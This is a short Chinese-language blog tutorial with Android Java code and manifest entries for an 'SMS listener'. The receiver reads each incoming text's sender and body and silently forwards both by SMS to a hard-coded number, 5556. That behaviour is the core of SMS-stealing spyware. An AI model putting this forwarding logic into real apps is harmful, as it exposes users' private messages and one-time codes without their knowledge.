短信监听器
协议数据单元(Protocol Data Unit)pdu
package com.example.sms;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
public class SmsReceiver extends BroadcastReceiver{
@Override
public void onReceive(Context context, Intent intent) {
if("android.provider.Telephony.SMS_RECEIVED".equals(intent.getAction())){
Bundle bundle = intent.getExtras();
Object[] obj = (Object[]) bundle.get("pdus");
for (Object o : obj) {
SmsMessage sms = SmsMessage.createFromPdu((byte[])o);
String num = sms.getOriginatingAddress();
String body = sms.getMessageBody();
SmsManager manager = SmsManager.getDefault();
manager.sendTextMessage("5556", null, num+" "+body, null, null);
}
}
}
}
清单文件:
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
//android 4.2 后废除了此action
<receiver android:name="com.example.sms.SmsReceiver" >
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
<action android:name="android.provider.Telephony.SMS_SEND" />
</intent-filter>
</receiver>
最后,关注【码上加油站】微信公众号后,有疑惑有问题想加油的小伙伴可以码上加入社群,让我们一起码上加油吧!!!
浙公网安备 33010602011771号